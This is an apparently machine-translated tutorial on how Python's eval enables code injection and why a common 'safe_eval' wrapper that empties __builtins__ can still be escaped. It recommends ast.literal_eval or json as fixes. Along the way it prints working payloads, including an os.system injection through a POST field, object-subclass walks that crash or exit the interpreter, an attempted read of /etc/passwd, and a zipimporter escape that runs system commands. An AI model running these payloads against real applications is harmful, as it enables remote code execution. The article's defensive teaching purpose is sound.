This article brings you an introduction to the common error encapsulation and utilization principles of Python eval. It has certain reference value. Friends in need can refer to it. I hope it will be helpful to you.
Recently during the code review process, I found that there are many problems with code injection caused by incorrect use of eval. A typical one is to use eval as parsing dict. Some simply use eval, and some use wrong encapsulation. eval is used by all products, which leads to more serious problems. These are bloody lessons, so everyone should pay more attention when using them.
The following is an example of an actual product. For details, see [bug83055][1]:
def remove(request, obj): query = query2dict(request.POST) eval(query['oper_type'])(query, customer_obj)
The query is directly converted from POST and can be directly controlled by the user. If the user Enter oper_type=__import__('os').system('sleep 5') in the url parameter, and you can execute the sleep command. Of course, you can also execute any system command or any executable code. The harm is obvious, so let's take a look at eval What exactly does it do, and how to do it safely?
1, what to do
Simply put, it is to execute an expression
>>> eval('2+2') 4 >>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""") {'ip': '10.10.10.10', 'name': 'xiaoming'} >>> eval("__import__('os').system('uname')", {}) Linux 0
From these three pieces of code, the first one is obviously used for calculation, and the second one is for calculation A data type that converts string type data into python, here is dict. This is also a common mistake in our products. The third one is what the bad boy does, executing system commands.
eval can accept three parameters, eval(source[, globals[, locals]]) -> value
globals must be a path, and locals must be a key-value pair, which is taken by default System globals and locals
2, incorrect encapsulation
(1) Let’s look at a section of the encapsulation function in one of our product codes, see [bug][2], or network Search for codes with higher rankings, eg:
def safe_eval(eval_str): try: #加入命名空间 safe_dict = {} safe_dict['True'] = True safe_dict['False'] = False return eval(eval_str,{'__builtins__':None},safe_dict) except Exception,e: traceback.print_exc() return ''
Here __builtins__ is set to empty, so built-in variables like __import__ are gone. Is this encapsulated function safe? Let me go step by step:
>>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
List items
'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', ' ZeroDivisionError', '_', 'debug', 'doc', 'import', 'name', 'package', 'abs', 'all', 'any', 'apply', 'basestring', 'bin' , 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', ' credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format' , 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', ' issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object' , 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', ' reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr' , 'unicode', 'vars', 'xrange', 'zip']
From __builtins__, you can see that there is __import__ in its module, which can be used to perform some operations of os. If it is set to empty and then the eval function is executed, the result is as follows:
>>> eval("__import__('os').system('uname')", {'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name '__import__' is not defined
Now it is prompted that __import__ is undefined and cannot be executed successfully. Is it safe? The answer is of course wrong.
For example, the execution is as follows:
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval(s, {'__builtins__':{}}) Segmentation fault (core dumped)
Here the user defines a function, and the call of this function directly causes a segmentation fault
The following code exits the interpreter:
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "Quitter" ... ][0](0)() ... """ >>> eval(s,{'__builtins__':{}}) liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
Let’s have a preliminary understanding of the whole process:
>>> ().__class__.__bases__[0].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]
The meaning of this python code is to find the class of tuple, then find its base class, which is object, and then find its subclass through object. , the specific subclass is also the same as the output in the code. You can see from it that there are file module and zipimporter module. Can they be used? First start with file
If the user constructs:
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval(s1,{'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 6, in <module> IOError: file() constructor not accessible in restricted mode
This restricted mode is simply understood as the sandbox of the python interpreter. Some functions are restricted, such as not being able to modify the system or use some System functions, such as file, see Restricted Execution Mode for details. How to bypass it? At this time we thought of zipimporter. If the imported module references the os module, we can use it like the following code.
>>> s2=""" ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval(s2,{'__builtins__':{}}) Linux 0
This verifies that the safe_eval just now is actually unsafe.
3, how to use
correctly (1) Use ast.literal_eval
(2) If you just convert characters to dict, you can use json format
This article has ended here. For more other exciting content, you can pay attention to the python video tutorial column on the PHP Chinese website!
The above is the detailed content of Introduction to common error encapsulation and utilization principles of Python eval. For more information, please follow other related articles on the PHP Chinese website!